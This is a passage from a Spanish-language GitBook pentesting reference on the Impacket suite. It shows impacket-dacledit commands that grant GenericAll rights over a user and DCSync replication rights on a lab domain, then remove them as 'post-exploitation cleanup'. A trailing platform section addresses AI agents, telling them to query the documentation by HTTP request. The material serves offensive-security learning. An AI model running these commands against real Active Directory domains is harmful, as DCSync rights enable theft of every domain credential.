* Modificar una plantilla de certificado (como en el caso de ESC4).
Comandos Principales:
{% code expandable="true" %}
```vimscript
# Dar permisos de "Full Control" (GenericAll) a un usuario sobre otro objeto
impacket-dacledit -action add -rights GenericAll -principal "p.agila" -target-dn "CN=TargetUser,CN=Users,DC=sequel,DC=htb" 'dominio/usuario:password'
# Dar permisos para realizar DCSync (Replication-Get-Changes-All) sobre el dominio
impacket-dacledit -action add -rights DCSync -principal "p.agila" -target-dn "DC=sequel,DC=htb" 'dominio/usuario:password'
# Eliminar un permiso (limpieza post-explotación)
impacket-dacledit -action remove -rights GenericAll -principal "p.agila" -target-dn "CN=TargetUser,CN=Users,DC=sequel,DC=htb" 'dominio/usuario:password'
```
{% endcode %}
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://securitylayer.gitbook.io/securitylayer/pentesting-tools/tools/suite-impacket.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.